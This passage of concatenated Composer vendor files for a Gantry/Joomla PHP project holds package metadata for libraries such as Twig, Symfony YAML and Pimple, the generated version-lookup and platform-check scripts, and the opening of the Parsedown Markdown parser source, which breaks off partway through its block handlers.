"psr/log": "^1.0.1"
},
"require-dev": {
"mockery/mockery": "^0.9 || ^1.0",
"phpunit/phpunit": "^4.8.35 || ^5.7",
"symfony/var-dumper": "^2.6 || ^3.0 ||
^4.0"
},
"suggest": {
"symfony/var-dumper": "Pretty print complex
values better with var-dumper available",
"whoops/soap": "Formats errors as SOAP
responses"
},
"time": "2019-12-21T10:00:00+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "2.2-dev"
}
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"Whoops\\": "src/Whoops/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Filipe Dobreira",
"homepage":
"https://github.com/filp",
"role": "Developer"
}
],
"description": "php error handling for cool
kids",
"homepage":
"https://filp.github.io/whoops/",
"keywords": [
"error",
"exception",
"handling",
"library",
"throwable",
"whoops"
],
"support": {
"issues":
"https://github.com/filp/whoops/issues",
"source":
"https://github.com/filp/whoops/tree/2.5.1"
},
"install-path": "../filp/whoops"
},
{
"name": "leafo/scssphp",
"version": "v0.8.4",
"version_normalized": "0.8.4.0",
"source": {
"type": "git",
"url":
"https://github.com/leafo/scssphp.git",
"reference":
"b9cdea3e42c3bcb1a9faafd04ccce4e8ec860ad9"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/leafo/scssphp/zipball/b9cdea3e42c3bcb1a9faafd04ccce4e8ec860ad9",
"reference":
"b9cdea3e42c3bcb1a9faafd04ccce4e8ec860ad9",
"shasum": ""
},
"require": {
"php": "^5.4.0 || ^7"
},
"require-dev": {
"phpunit/phpunit": "~4.6",
"squizlabs/php_codesniffer": "~2.5",
"twbs/bootstrap": "~4.3",
"zurb/foundation": "~6.5"
},
"time": "2019-06-18T21:15:44+00:00",
"bin": [
"bin/pscss"
],
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"Leafo\\ScssPhp\\": "src/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Leaf Corcoran",
"email": "leafot@gmail.com",
"homepage": "http://leafo.net"
}
],
"description": "scssphp is a compiler for SCSS
written in PHP.",
"homepage":
"http://leafo.github.io/scssphp/",
"keywords": [
"css",
"less",
"sass",
"scss",
"stylesheet"
],
"support": {
"issues":
"https://github.com/leafo/scssphp/issues",
"source":
"https://github.com/leafo/scssphp/tree/v0.8.4"
},
"abandoned": "scssphp/scssphp",
"install-path": "../leafo/scssphp"
},
{
"name": "pimple/pimple",
"version": "v3.2.3",
"version_normalized": "3.2.3.0",
"source": {
"type": "git",
"url":
"https://github.com/silexphp/Pimple.git",
"reference":
"9e403941ef9d65d20cba7d54e29fe906db42cf32"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/silexphp/Pimple/zipball/9e403941ef9d65d20cba7d54e29fe906db42cf32",
"reference":
"9e403941ef9d65d20cba7d54e29fe906db42cf32",
"shasum": ""
},
"require": {
"php": ">=5.3.0",
"psr/container": "^1.0"
},
"require-dev": {
"symfony/phpunit-bridge": "^3.2"
},
"time": "2018-01-21T07:42:36+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "3.2.x-dev"
}
},
"installation-source": "dist",
"autoload": {
"psr-0": {
"Pimple": "src/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com"
}
],
"description": "Pimple, a simple Dependency
Injection Container",
"homepage": "http://pimple.sensiolabs.org",
"keywords": [
"container",
"dependency injection"
],
"support": {
"issues":
"https://github.com/silexphp/Pimple/issues",
"source":
"https://github.com/silexphp/Pimple/tree/master"
},
"install-path": "../pimple/pimple"
},
{
"name": "psr/container",
"version": "1.0.0",
"version_normalized": "1.0.0.0",
"source": {
"type": "git",
"url":
"https://github.com/php-fig/container.git",
"reference":
"b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
"reference":
"b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
"shasum": ""
},
"require": {
"php": ">=5.3.0"
},
"time": "2017-02-14T16:28:37+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.0.x-dev"
}
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"Psr\\Container\\": "src/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "PHP-FIG",
"homepage":
"http://www.php-fig.org/"
}
],
"description": "Common Container Interface (PHP
FIG PSR-11)",
"homepage":
"https://github.com/php-fig/container",
"keywords": [
"PSR-11",
"container",
"container-interface",
"container-interop",
"psr"
],
"support": {
"issues":
"https://github.com/php-fig/container/issues",
"source":
"https://github.com/php-fig/container/tree/master"
},
"install-path": "../psr/container"
},
{
"name": "psr/log",
"version": "1.1.3",
"version_normalized": "1.1.3.0",
"source": {
"type": "git",
"url":
"https://github.com/php-fig/log.git",
"reference":
"0f73288fd15629204f9d42b7055f72dacbe811fc"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
"reference":
"0f73288fd15629204f9d42b7055f72dacbe811fc",
"shasum": ""
},
"require": {
"php": ">=5.3.0"
},
"time": "2020-03-23T09:12:05+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.1.x-dev"
}
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"Psr\\Log\\": "Psr/Log/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "PHP-FIG",
"homepage":
"http://www.php-fig.org/"
}
],
"description": "Common interface for logging
libraries",
"homepage":
"https://github.com/php-fig/log",
"keywords": [
"log",
"psr",
"psr-3"
],
"support": {
"source":
"https://github.com/php-fig/log/tree/1.1.3"
},
"install-path": "../psr/log"
},
{
"name": "rockettheme/toolbox",
"version": "1.4.7",
"version_normalized": "1.4.7.0",
"source": {
"type": "git",
"url":
"https://github.com/rockettheme/toolbox.git",
"reference":
"6a86bc0607884d2194260b6b72d67333e0141585"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/rockettheme/toolbox/zipball/6a86bc0607884d2194260b6b72d67333e0141585",
"reference":
"6a86bc0607884d2194260b6b72d67333e0141585",
"shasum": ""
},
"require": {
"ext-json": "*",
"php": ">=5.4.0",
"pimple/pimple": "~3.0",
"symfony/event-dispatcher": ">2.5",
"symfony/yaml": ">2.5"
},
"require-dev": {
"phpunit/phpunit": "~6"
},
"time": "2020-03-19T18:24:40+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-4": {
"RocketTheme\\Toolbox\\ArrayTraits\\":
"ArrayTraits/src",
"RocketTheme\\Toolbox\\Blueprints\\":
"Blueprints/src",
"RocketTheme\\Toolbox\\Compat\\":
"Compat/src",
"RocketTheme\\Toolbox\\DI\\":
"DI/src",
"RocketTheme\\Toolbox\\Event\\":
"Event/src",
"RocketTheme\\Toolbox\\File\\":
"File/src",
"RocketTheme\\Toolbox\\ResourceLocator\\":
"ResourceLocator/src",
"RocketTheme\\Toolbox\\Session\\":
"Session/src",
"RocketTheme\\Toolbox\\StreamWrapper\\":
"StreamWrapper/src"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"description": "RocketTheme Toolbox
Library",
"homepage": "http://www.rockettheme.com",
"keywords": [
"php",
"rockettheme"
],
"support": {
"issues":
"https://github.com/rockettheme/toolbox/issues",
"source":
"https://github.com/rockettheme/toolbox/tree/1.4.7"
},
"install-path": "../rockettheme/toolbox"
},
{
"name": "symfony/event-dispatcher",
"version": "v2.8.52",
"version_normalized": "2.8.52.0",
"source": {
"type": "git",
"url":
"https://github.com/symfony/event-dispatcher.git",
"reference":
"a77e974a5fecb4398833b0709210e3d5e334ffb0"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/symfony/event-dispatcher/zipball/a77e974a5fecb4398833b0709210e3d5e334ffb0",
"reference":
"a77e974a5fecb4398833b0709210e3d5e334ffb0",
"shasum": ""
},
"require": {
"php": ">=5.3.9"
},
"require-dev": {
"psr/log": "~1.0",
"symfony/config": "^2.0.5|~3.0.0",
"symfony/dependency-injection":
"~2.6|~3.0.0",
"symfony/expression-language":
"~2.6|~3.0.0",
"symfony/stopwatch": "~2.3|~3.0.0"
},
"suggest": {
"symfony/dependency-injection": "",
"symfony/http-kernel": ""
},
"time": "2018-11-21T14:20:20+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "2.8-dev"
}
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"Symfony\\Component\\EventDispatcher\\":
""
},
"exclude-from-classmap": [
"/Tests/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com"
},
{
"name": "Symfony Community",
"homepage":
"https://symfony.com/contributors"
}
],
"description": "Symfony EventDispatcher
Component",
"homepage": "https://symfony.com",
"support": {
"source":
"https://github.com/symfony/event-dispatcher/tree/v2.8.50"
},
"install-path":
"../symfony/event-dispatcher"
},
{
"name": "symfony/polyfill-ctype",
"version": "v1.19.0",
"version_normalized": "1.19.0.0",
"source": {
"type": "git",
"url":
"https://github.com/symfony/polyfill-ctype.git",
"reference":
"aed596913b70fae57be53d86faa2e9ef85a2297b"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/symfony/polyfill-ctype/zipball/aed596913b70fae57be53d86faa2e9ef85a2297b",
"reference":
"aed596913b70fae57be53d86faa2e9ef85a2297b",
"shasum": ""
},
"require": {
"php": ">=5.3.3"
},
"suggest": {
"ext-ctype": "For best performance"
},
"time": "2020-10-23T09:01:57+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-main": "1.19-dev"
},
"thanks": {
"name": "symfony/polyfill",
"url":
"https://github.com/symfony/polyfill"
}
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"Symfony\\Polyfill\\Ctype\\": ""
},
"files": [
"bootstrap.php"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Gert de Pagter",
"email": "BackEndTea@gmail.com"
},
{
"name": "Symfony Community",
"homepage":
"https://symfony.com/contributors"
}
],
"description": "Symfony polyfill for ctype
functions",
"homepage": "https://symfony.com",
"keywords": [
"compatibility",
"ctype",
"polyfill",
"portable"
],
"support": {
"source":
"https://github.com/symfony/polyfill-ctype/tree/v1.19.0"
},
"funding": [
{
"url":
"https://symfony.com/sponsor",
"type": "custom"
},
{
"url": "https://github.com/fabpot",
"type": "github"
},
{
"url":
"https://tidelift.com/funding/github/packagist/symfony/symfony",
"type": "tidelift"
}
],
"install-path": "../symfony/polyfill-ctype"
},
{
"name": "symfony/yaml",
"version": "v2.8.52",
"version_normalized": "2.8.52.0",
"source": {
"type": "git",
"url":
"https://github.com/symfony/yaml.git",
"reference":
"02c1859112aa779d9ab394ae4f3381911d84052b"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/symfony/yaml/zipball/02c1859112aa779d9ab394ae4f3381911d84052b",
"reference":
"02c1859112aa779d9ab394ae4f3381911d84052b",
"shasum": ""
},
"require": {
"php": ">=5.3.9",
"symfony/polyfill-ctype": "~1.8"
},
"time": "2018-11-11T11:18:13+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "2.8-dev"
}
},
"installation-source": "dist",
"autoload": {
"psr-4": {
"Symfony\\Component\\Yaml\\": ""
},
"exclude-from-classmap": [
"/Tests/"
]
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com"
},
{
"name": "Symfony Community",
"homepage":
"https://symfony.com/contributors"
}
],
"description": "Symfony Yaml Component",
"homepage": "https://symfony.com",
"support": {
"source":
"https://github.com/symfony/yaml/tree/v2.8.52"
},
"install-path": "../symfony/yaml"
},
{
"name": "twig/twig",
"version": "v1.42.5",
"version_normalized": "1.42.5.0",
"source": {
"type": "git",
"url":
"https://github.com/twigphp/Twig.git",
"reference":
"87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/twigphp/Twig/zipball/87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e",
"reference":
"87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e",
"shasum": ""
},
"require": {
"php": ">=5.5.0",
"symfony/polyfill-ctype": "^1.8"
},
"require-dev": {
"psr/container": "^1.0",
"symfony/phpunit-bridge": "^4.4|^5.0"
},
"time": "2020-02-11T05:59:23+00:00",
"type": "library",
"extra": {
"branch-alias": {
"dev-master": "1.42-dev"
}
},
"installation-source": "dist",
"autoload": {
"psr-0": {
"Twig_": "lib/"
},
"psr-4": {
"Twig\\": "src/"
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"BSD-3-Clause"
],
"authors": [
{
"name": "Fabien Potencier",
"email": "fabien@symfony.com",
"homepage":
"http://fabien.potencier.org",
"role": "Lead Developer"
},
{
"name": "Twig Team",
"role": "Contributors"
},
{
"name": "Armin Ronacher",
"email":
"armin.ronacher@active-4.com",
"role": "Project Founder"
}
],
"description": "Twig, the flexible, fast, and
secure template language for PHP",
"homepage": "https://twig.symfony.com",
"keywords": [
"templating"
],
"support": {
"issues":
"https://github.com/twigphp/Twig/issues",
"source":
"https://github.com/twigphp/Twig/tree/1.x"
},
"install-path": "../twig/twig"
}
],
"dev": false,
"dev-package-names": []
}
<?php return array (
'root' =>
array (
'pretty_version' => '5.4.37',
'version' => '5.4.37.0',
'aliases' =>
array (
),
'reference' =>
'a701c1159e7a000861a1b2094ed392f752343e72',
'name' => 'gantry/joomla',
),
'versions' =>
array (
'erusev/parsedown' =>
array (
'pretty_version' => '1.7.4',
'version' => '1.7.4.0',
'aliases' =>
array (
),
'reference' =>
'cb17b6477dfff935958ba01325f2e8a2bfa6dab3',
),
'erusev/parsedown-extra' =>
array (
'pretty_version' => '0.7.1',
'version' => '0.7.1.0',
'aliases' =>
array (
),
'reference' =>
'0db5cce7354e4b76f155d092ab5eb3981c21258c',
),
'filp/whoops' =>
array (
'pretty_version' => '2.5.1',
'version' => '2.5.1.0',
'aliases' =>
array (
),
'reference' =>
'ee9699e79d8fcdd15c107e035d7b965e4fa854ac',
),
'gantry/joomla' =>
array (
'pretty_version' => '5.4.37',
'version' => '5.4.37.0',
'aliases' =>
array (
),
'reference' =>
'a701c1159e7a000861a1b2094ed392f752343e72',
),
'leafo/scssphp' =>
array (
'pretty_version' => 'v0.8.4',
'version' => '0.8.4.0',
'aliases' =>
array (
),
'reference' =>
'b9cdea3e42c3bcb1a9faafd04ccce4e8ec860ad9',
),
'pimple/pimple' =>
array (
'pretty_version' => 'v3.2.3',
'version' => '3.2.3.0',
'aliases' =>
array (
),
'reference' =>
'9e403941ef9d65d20cba7d54e29fe906db42cf32',
),
'psr/container' =>
array (
'pretty_version' => '1.0.0',
'version' => '1.0.0.0',
'aliases' =>
array (
),
'reference' =>
'b7ce3b176482dbbc1245ebf52b181af44c2cf55f',
),
'psr/log' =>
array (
'pretty_version' => '1.1.3',
'version' => '1.1.3.0',
'aliases' =>
array (
),
'reference' =>
'0f73288fd15629204f9d42b7055f72dacbe811fc',
),
'rockettheme/toolbox' =>
array (
'pretty_version' => '1.4.7',
'version' => '1.4.7.0',
'aliases' =>
array (
),
'reference' =>
'6a86bc0607884d2194260b6b72d67333e0141585',
),
'symfony/event-dispatcher' =>
array (
'pretty_version' => 'v2.8.52',
'version' => '2.8.52.0',
'aliases' =>
array (
),
'reference' =>
'a77e974a5fecb4398833b0709210e3d5e334ffb0',
),
'symfony/polyfill-ctype' =>
array (
'pretty_version' => 'v1.19.0',
'version' => '1.19.0.0',
'aliases' =>
array (
),
'reference' =>
'aed596913b70fae57be53d86faa2e9ef85a2297b',
),
'symfony/yaml' =>
array (
'pretty_version' => 'v2.8.52',
'version' => '2.8.52.0',
'aliases' =>
array (
),
'reference' =>
'02c1859112aa779d9ab394ae4f3381911d84052b',
),
'twig/twig' =>
array (
'pretty_version' => 'v1.42.5',
'version' => '1.42.5.0',
'aliases' =>
array (
),
'reference' =>
'87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e',
),
),
);
<?php
namespace Composer;
use Composer\Semver\VersionParser;
class InstalledVersions
{
private static $installed = array (
'root' =>
array (
'pretty_version' => '5.4.37',
'version' => '5.4.37.0',
'aliases' =>
array (
),
'reference' =>
'a701c1159e7a000861a1b2094ed392f752343e72',
'name' => 'gantry/joomla',
),
'versions' =>
array (
'erusev/parsedown' =>
array (
'pretty_version' => '1.7.4',
'version' => '1.7.4.0',
'aliases' =>
array (
),
'reference' =>
'cb17b6477dfff935958ba01325f2e8a2bfa6dab3',
),
'erusev/parsedown-extra' =>
array (
'pretty_version' => '0.7.1',
'version' => '0.7.1.0',
'aliases' =>
array (
),
'reference' =>
'0db5cce7354e4b76f155d092ab5eb3981c21258c',
),
'filp/whoops' =>
array (
'pretty_version' => '2.5.1',
'version' => '2.5.1.0',
'aliases' =>
array (
),
'reference' =>
'ee9699e79d8fcdd15c107e035d7b965e4fa854ac',
),
'gantry/joomla' =>
array (
'pretty_version' => '5.4.37',
'version' => '5.4.37.0',
'aliases' =>
array (
),
'reference' =>
'a701c1159e7a000861a1b2094ed392f752343e72',
),
'leafo/scssphp' =>
array (
'pretty_version' => 'v0.8.4',
'version' => '0.8.4.0',
'aliases' =>
array (
),
'reference' =>
'b9cdea3e42c3bcb1a9faafd04ccce4e8ec860ad9',
),
'pimple/pimple' =>
array (
'pretty_version' => 'v3.2.3',
'version' => '3.2.3.0',
'aliases' =>
array (
),
'reference' =>
'9e403941ef9d65d20cba7d54e29fe906db42cf32',
),
'psr/container' =>
array (
'pretty_version' => '1.0.0',
'version' => '1.0.0.0',
'aliases' =>
array (
),
'reference' =>
'b7ce3b176482dbbc1245ebf52b181af44c2cf55f',
),
'psr/log' =>
array (
'pretty_version' => '1.1.3',
'version' => '1.1.3.0',
'aliases' =>
array (
),
'reference' =>
'0f73288fd15629204f9d42b7055f72dacbe811fc',
),
'rockettheme/toolbox' =>
array (
'pretty_version' => '1.4.7',
'version' => '1.4.7.0',
'aliases' =>
array (
),
'reference' =>
'6a86bc0607884d2194260b6b72d67333e0141585',
),
'symfony/event-dispatcher' =>
array (
'pretty_version' => 'v2.8.52',
'version' => '2.8.52.0',
'aliases' =>
array (
),
'reference' =>
'a77e974a5fecb4398833b0709210e3d5e334ffb0',
),
'symfony/polyfill-ctype' =>
array (
'pretty_version' => 'v1.19.0',
'version' => '1.19.0.0',
'aliases' =>
array (
),
'reference' =>
'aed596913b70fae57be53d86faa2e9ef85a2297b',
),
'symfony/yaml' =>
array (
'pretty_version' => 'v2.8.52',
'version' => '2.8.52.0',
'aliases' =>
array (
),
'reference' =>
'02c1859112aa779d9ab394ae4f3381911d84052b',
),
'twig/twig' =>
array (
'pretty_version' => 'v1.42.5',
'version' => '1.42.5.0',
'aliases' =>
array (
),
'reference' =>
'87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e',
),
),
);
public static function getInstalledPackages()
{
return array_keys(self::$installed['versions']);
}
public static function isInstalled($packageName)
{
return isset(self::$installed['versions'][$packageName]);
}
public static function satisfies(VersionParser $parser, $packageName,
$constraint)
{
$constraint = $parser->parseConstraints($constraint);
$provided =
$parser->parseConstraints(self::getVersionRanges($packageName));
return $provided->matches($constraint);
}
public static function getVersionRanges($packageName)
{
if (!isset(self::$installed['versions'][$packageName])) {
throw new \OutOfBoundsException('Package "' . $packageName .
'" is not installed');
}
$ranges = array();
if
(isset(self::$installed['versions'][$packageName]['pretty_version']))
{
$ranges[] =
self::$installed['versions'][$packageName]['pretty_version'];
}
if (array_key_exists('aliases',
self::$installed['versions'][$packageName])) {
$ranges = array_merge($ranges,
self::$installed['versions'][$packageName]['aliases']);
}
if (array_key_exists('replaced',
self::$installed['versions'][$packageName])) {
$ranges = array_merge($ranges,
self::$installed['versions'][$packageName]['replaced']);
}
if (array_key_exists('provided',
self::$installed['versions'][$packageName])) {
$ranges = array_merge($ranges,
self::$installed['versions'][$packageName]['provided']);
}
return implode(' || ', $ranges);
}
public static function getVersion($packageName)
{
if (!isset(self::$installed['versions'][$packageName])) {
throw new \OutOfBoundsException('Package "' . $packageName .
'" is not installed');
}
if
(!isset(self::$installed['versions'][$packageName]['version']))
{
return null;
}
return
self::$installed['versions'][$packageName]['version'];
}
public static function getPrettyVersion($packageName)
{
if (!isset(self::$installed['versions'][$packageName])) {
throw new \OutOfBoundsException('Package "' . $packageName .
'" is not installed');
}
if
(!isset(self::$installed['versions'][$packageName]['pretty_version']))
{
return null;
}
return
self::$installed['versions'][$packageName]['pretty_version'];
}
public static function getReference($packageName)
{
if (!isset(self::$installed['versions'][$packageName])) {
throw new \OutOfBoundsException('Package "' . $packageName .
'" is not installed');
}
if
(!isset(self::$installed['versions'][$packageName]['reference']))
{
return null;
}
return
self::$installed['versions'][$packageName]['reference'];
}
public static function getRootPackage()
{
return self::$installed['root'];
}
public static function getRawData()
{
return self::$installed;
}
public static function reload($data)
{
self::$installed = $data;
}
}
<?php
// platform_check.php @generated by Composer
$issues = array();
if (!(PHP_VERSION_ID >= 50509)) {
$issues[] = 'Your Composer dependencies require a PHP version
">= 5.5.9". You are running ' . PHP_VERSION .
'.';
}
if ($issues) {
if (!headers_sent()) {
header('HTTP/1.1 500 Internal Server Error');
}
if (!ini_get('display_errors')) {
if (PHP_SAPI === 'cli' || PHP_SAPI ===
'phpdbg') {
fwrite(STDERR, 'Composer detected issues in your
platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) .
PHP_EOL.PHP_EOL);
} elseif (!headers_sent()) {
echo 'Composer detected issues in your platform:' .
PHP_EOL.PHP_EOL . str_replace('You are running
'.PHP_VERSION.'.', '', implode(PHP_EOL, $issues))
. PHP_EOL.PHP_EOL;
}
}
trigger_error(
'Composer detected issues in your platform: ' .
implode(' ', $issues),
E_USER_ERROR
);
}
{
"name": "erusev/parsedown",
"description": "Parser for Markdown.",
"keywords": ["markdown", "parser"],
"homepage": "http://parsedown.org",
"type": "library",
"license": "MIT",
"authors": [
{
"name": "Emanuil Rusev",
"email": "hello@erusev.com",
"homepage": "http://erusev.com"
}
],
"require": {
"php": ">=5.3.0",
"ext-mbstring": "*"
},
"require-dev": {
"phpunit/phpunit": "^4.8.35"
},
"autoload": {
"psr-0": {"Parsedown": ""}
},
"autoload-dev": {
"psr-0": {
"TestParsedown": "test/",
"ParsedownTest": "test/",
"CommonMarkTest": "test/",
"CommonMarkTestWeak": "test/"
}
}
}
<?php
#
#
# Parsedown
# http://parsedown.org
#
# (c) Emanuil Rusev
# http://erusev.com
#
# For the full license information, view the LICENSE file that was
distributed
# with this source code.
#
#
class Parsedown
{
# ~
const version = '1.7.4';
# ~
function text($text)
{
# make sure no definitions are set
$this->DefinitionData = array();
# standardize line breaks
$text = str_replace(array("\r\n", "\r"),
"\n", $text);
# remove surrounding line breaks
$text = trim($text, "\n");
# split text into lines
$lines = explode("\n", $text);
# iterate through lines to identify blocks
$markup = $this->lines($lines);
# trim line breaks
$markup = trim($markup, "\n");
return $markup;
}
#
# Setters
#
function setBreaksEnabled($breaksEnabled)
{
$this->breaksEnabled = $breaksEnabled;
return $this;
}
protected $breaksEnabled;
function setMarkupEscaped($markupEscaped)
{
$this->markupEscaped = $markupEscaped;
return $this;
}
protected $markupEscaped;
function setUrlsLinked($urlsLinked)
{
$this->urlsLinked = $urlsLinked;
return $this;
}
protected $urlsLinked = true;
function setSafeMode($safeMode)
{
$this->safeMode = (bool) $safeMode;
return $this;
}
protected $safeMode;
protected $safeLinksWhitelist = array(
'http://',
'https://',
'ftp://',
'ftps://',
'mailto:',
'data:image/png;base64,',
'data:image/gif;base64,',
'data:image/jpeg;base64,',
'irc:',
'ircs:',
'git:',
'ssh:',
'news:',
'steam:',
);
#
# Lines
#
protected $BlockTypes = array(
'#' => array('Header'),
'*' => array('Rule', 'List'),
'+' => array('List'),
'-' => array('SetextHeader',
'Table', 'Rule', 'List'),
'0' => array('List'),
'1' => array('List'),
'2' => array('List'),
'3' => array('List'),
'4' => array('List'),
'5' => array('List'),
'6' => array('List'),
'7' => array('List'),
'8' => array('List'),
'9' => array('List'),
':' => array('Table'),
'<' => array('Comment',
'Markup'),
'=' => array('SetextHeader'),
'>' => array('Quote'),
'[' => array('Reference'),
'_' => array('Rule'),
'`' => array('FencedCode'),
'|' => array('Table'),
'~' => array('FencedCode'),
);
# ~
protected $unmarkedBlockTypes = array(
'Code',
);
#
# Blocks
#
protected function lines(array $lines)
{
$CurrentBlock = null;
foreach ($lines as $line)
{
if (chop($line) === '')
{
if (isset($CurrentBlock))
{
$CurrentBlock['interrupted'] = true;
}
continue;
}
if (strpos($line, "\t") !== false)
{
$parts = explode("\t", $line);
$line = $parts[0];
unset($parts[0]);
foreach ($parts as $part)
{
$shortage = 4 - mb_strlen($line, 'utf-8') %
4;
$line .= str_repeat(' ', $shortage);
$line .= $part;
}
}
$indent = 0;
while (isset($line[$indent]) and $line[$indent] === '
')
{
$indent ++;
}
$text = $indent > 0 ? substr($line, $indent) : $line;
# ~
$Line = array('body' => $line, 'indent'
=> $indent, 'text' => $text);
# ~
if (isset($CurrentBlock['continuable']))
{
$Block =
$this->{'block'.$CurrentBlock['type'].'Continue'}($Line,
$CurrentBlock);
if (isset($Block))
{
$CurrentBlock = $Block;
continue;
}
else
{
if
($this->isBlockCompletable($CurrentBlock['type']))
{
$CurrentBlock =
$this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock);
}
}
}
# ~
$marker = $text[0];
# ~
$blockTypes = $this->unmarkedBlockTypes;
if (isset($this->BlockTypes[$marker]))
{
foreach ($this->BlockTypes[$marker] as $blockType)
{
$blockTypes []= $blockType;
}
}
#
# ~
foreach ($blockTypes as $blockType)
{
$Block = $this->{'block'.$blockType}($Line,
$CurrentBlock);
if (isset($Block))
{
$Block['type'] = $blockType;
if ( ! isset($Block['identified']))
{
$Blocks []= $CurrentBlock;
$Block['identified'] = true;
}
if ($this->isBlockContinuable($blockType))
{
$Block['continuable'] = true;
}
$CurrentBlock = $Block;
continue 2;
}
}
# ~
if (isset($CurrentBlock) and !
isset($CurrentBlock['type']) and !
isset($CurrentBlock['interrupted']))
{
$CurrentBlock['element']['text'] .=
"\n".$text;
}
else
{
$Blocks []= $CurrentBlock;
$CurrentBlock = $this->paragraph($Line);
$CurrentBlock['identified'] = true;
}
}
# ~
if (isset($CurrentBlock['continuable']) and
$this->isBlockCompletable($CurrentBlock['type']))
{
$CurrentBlock =
$this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock);
}
# ~
$Blocks []= $CurrentBlock;
unset($Blocks[0]);
# ~
$markup = '';
foreach ($Blocks as $Block)
{
if (isset($Block['hidden']))
{
continue;
}
$markup .= "\n";
$markup .= isset($Block['markup']) ?
$Block['markup'] :
$this->element($Block['element']);
}
$markup .= "\n";
# ~
return $markup;
}
protected function isBlockContinuable($Type)
{
return method_exists($this,
'block'.$Type.'Continue');
}
protected function isBlockCompletable($Type)
{
return method_exists($this,
'block'.$Type.'Complete');
}
#
# Code
protected function blockCode($Line, $Block = null)
{
if (isset($Block) and ! isset($Block['type']) and !
isset($Block['interrupted']))
{
return;
}
if ($Line['indent'] >= 4)
{
$text = substr($Line['body'], 4);
$Block = array(
'element' => array(
'name' => 'pre',
'handler' => 'element',
'text' => array(
'name' => 'code',
'text' => $text,
),
),
);
return $Block;
}
}
protected function blockCodeContinue($Line, $Block)
{
if ($Line['indent'] >= 4)
{
if (isset($Block['interrupted']))
{
$Block['element']['text']['text'] .=
"\n";
unset($Block['interrupted']);
}
$Block['element']['text']['text']
.= "\n";
$text = substr($Line['body'], 4);
$Block['element']['text']['text']
.= $text;
return $Block;
}
}
protected function blockCodeComplete($Block)
{
$text =
$Block['element']['text']['text'];
$Block['element']['text']['text'] =
$text;
return $Block;
}
#
# Comment
protected function blockComment($Line)
{
if ($this->markupEscaped or $this->safeMode)
{
return;
}
if (isset($Line['text'][3]) and
$Line['text'][3] === '-' and $Line['text'][2]
=== '-' and $Line['text'][1] === '!')
{
$Block = array(
'markup' => $Line['body'],
);
if (preg_match('/-->$/', $Line['text']))
{
$Block['closed'] = true;
}
return $Block;
}
}
protected function blockCommentContinue($Line, array $Block)
{
if (isset($Block['closed']))
{
return;
}
$Block['markup'] .= "\n" .
$Line['body'];
if (preg_match('/-->$/', $Line['text']))
{
$Block['closed'] = true;
}
return $Block;
}
#
# Fenced Code
protected function blockFencedCode($Line)
{
if
(preg_match('/^['.$Line['text'][0].']{3,}[
]*([^`]+)?[ ]*$/', $Line['text'], $matches))
{
$Element = array(
'name' => 'code',
'text' => '',
);
if (isset($matches[1]))
{
/**
*
https://www.w3.org/TR/2011/WD-html5-20110525/elements.html#classes
* Every HTML element may have a class attribute specified.
* The attribute, if specified, must have a value that is a
set
* of space-separated tokens representing the various
classes
* that the element belongs to.
* [...]
* The space characters, for the purposes of this
specification,
* are U+0020 SPACE, U+0009 CHARACTER TABULATION (tab),
* U+000A LINE FEED (LF), U+000C FORM FEED (FF), and
* U+000D CARRIAGE RETURN (CR).
*/
$language = substr($matches[1], 0, strcspn($matches[1],
" \t\n\f\r"));
$class = 'language-'.$language;
$Element['attributes'] = array(
'class' => $class,
);
}
$Block = array(
'char' => $Line['text'][0],
'element' => array(
'name' => 'pre',
'handler' => 'element',
'text' => $Element,
),
);
return $Block;
}
}
